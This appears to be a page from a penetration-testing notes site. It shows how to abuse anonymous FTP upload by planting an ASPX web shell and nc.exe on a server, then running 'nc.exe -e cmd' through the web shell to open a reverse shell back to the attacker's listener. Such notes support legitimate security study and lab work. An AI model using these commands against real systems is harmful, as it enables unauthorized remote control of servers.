> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Reverse Shell and Web Shell Attack

FTP file upload abuse with an ASPX web shell and nc.exe reverse shell.

## **Reverse Shell via FTP Upload**

### **Upload an ASPX web shell**

Use an existing web shell, **`cmd.aspx`**, from SecLists:

```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Upload it to the FTP server:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Access the web shell through the HTTP server and execute commands, for example:

```bash
ipconfig
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd99e4c6ff029a4904b060539b114c8827c974%2Fimage%20(2516).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Upload the `nc.exe` binary for a reverse shell**

Download **`nc.exe`** from SecLists:

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Upload it to the FTP server:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

From the web shell, locate **`nc.exe`** on the target server:

```powershell
dir /s C:/nc.exe
```

### **Set up the reverse shell**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ddb252ee32367246b0fcddf36d25136e1a0af8%2Fimage%20(2517).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listen on port 443:**

Set up an `nc` listener on port 443:

```bash
rlwrap nc -nvlp 443
```

From the target machine, execute the following command through the web shell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbbed5f1aa79caa6d8a1bf29a5fb65a21b02451e%2Fimage%20(2518).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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